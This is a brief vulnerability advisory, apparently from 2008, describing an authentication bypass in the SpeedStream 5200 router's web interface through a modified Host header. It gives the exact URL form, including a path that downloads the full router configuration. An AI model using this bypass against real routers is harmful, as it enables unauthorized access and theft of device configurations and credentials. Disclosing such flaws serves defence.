The SpeedStream 5200 suffers from an authentication bypass vulnerability via Host header modification.
0e3c38f2cac373a41d993ae5af53a61eab5944e2da8abbaba6e29cc9d4d4e7c5
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SpeedStream 5200 Authentication Bypass - hkm 12/10/2008
(Server: NetPort Software 1.1)
It is posible to bypass authentication by modifying the Host header.
If you use a Host that is not the authentic one it will not require authentication.
http://189.255.255.255./ - This would bypass authentication too.
http://189.255.255.255./x.cfg - This downloads the full router conifguration.
hkm [ @ ] hakim.ws
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